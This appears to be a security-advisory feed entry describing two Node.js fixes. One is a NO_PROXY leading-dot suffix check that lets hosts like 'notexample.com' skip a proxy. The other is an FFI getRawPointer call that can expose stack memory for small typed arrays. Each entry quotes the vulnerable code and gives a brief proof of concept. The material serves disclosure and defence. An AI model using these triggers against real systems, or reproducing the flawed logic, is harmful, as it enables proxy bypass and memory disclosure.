Apr 23, 2026, 10:42 AM — nodejs/node

Commit: d44a71a25111dd0b73883fadb66cdef6b1414547

Author: Daijiro Wachi

The NO_PROXY environment variable's leading-dot suffix matching was too permissive: `NO_PROXY=.example.com` would match any hostname ending in `example.com`, including `notexample.com` or `badexample.com`. This means an attacker-controlled hostname like `evilexample.com` could bypass proxy restrictions that were intended only for subdomains of `example.com`. The fix ensures that the dot-separated boundary is properly checked by requiring either an exact match or that the character before the suffix starts with a dot.

🔍 View Affected Code & PoC

Affected Code

if (entry[0] === '.') {
  const suffix = entry.substring(1);
  if (host.endsWith(suffix)) return false;
}

Proof of Concept

Set NO_PROXY=.example.com and HTTP_PROXY=http://proxy.internal:8080, then make a request to http://notexample.com/. Before the patch, `notexample.com`.endsWith(`example.com`) is true, so the proxy would be bypassed for `notexample.com`, which is not a subdomain of `example.com`. This allows requests to unintended hosts to skip proxy controls (e.g., security scanning proxies or traffic inspection proxies).

🔥 HIGH VERIFIED Out-of-bounds Memory Read / Stack Memory Information disclosure

Apr 22, 2026, 04:52 PM — nodejs/node

Commit: c69c6f14f2b486b66293f01e0bc47ef95cbe52c0

Author: Anna Henningsen

Small typed arrays (e.g., Int8Array, Float32Array with few elements) in V8 may not have a backing store allocated until their corresponding ArrayBuffer is explicitly accessed. Before the patch, calling GetRawPointer with such a small TypedArray would return a pointer into arbitrary stack memory (the in-heap representation) rather than a valid heap buffer. An attacker could use this to leak stack memory addresses or read arbitrary stack data via the FFI interface.

🔍 View Affected Code & PoC

Affected Code

} else if (args[0]->IsArrayBufferView()) {\n    ArrayBufferViewContents<uint8_t> view(args[0]);\n    if (view.WasDetached()) {\n      ...\n    }\n    ptr = reinterpret_cast<uintptr_t>(view.data());

Proof of Concept

// Node.js FFI proof of concept - reading arbitrary stack memory\nconst { getRawPointer } = require('node:ffi'); // internal FFI binding\n// Create a small Int8Array - V8 may store it in-heap without a BackingStore\nconst small = new Int8Array(4); // Small enough for V8 in-heap optimization\n// Before patch: getRawPointer(small) returns a pointer to stack/heap memory\n// that is NOT the actual typed array backing store\nconst ptr = getRawPointer(small);\n// ptr now points to arbitrary stack memory; reading from ptr leaks stack data\n// This can be used to bypass heap-spray mitigations or leak return addresses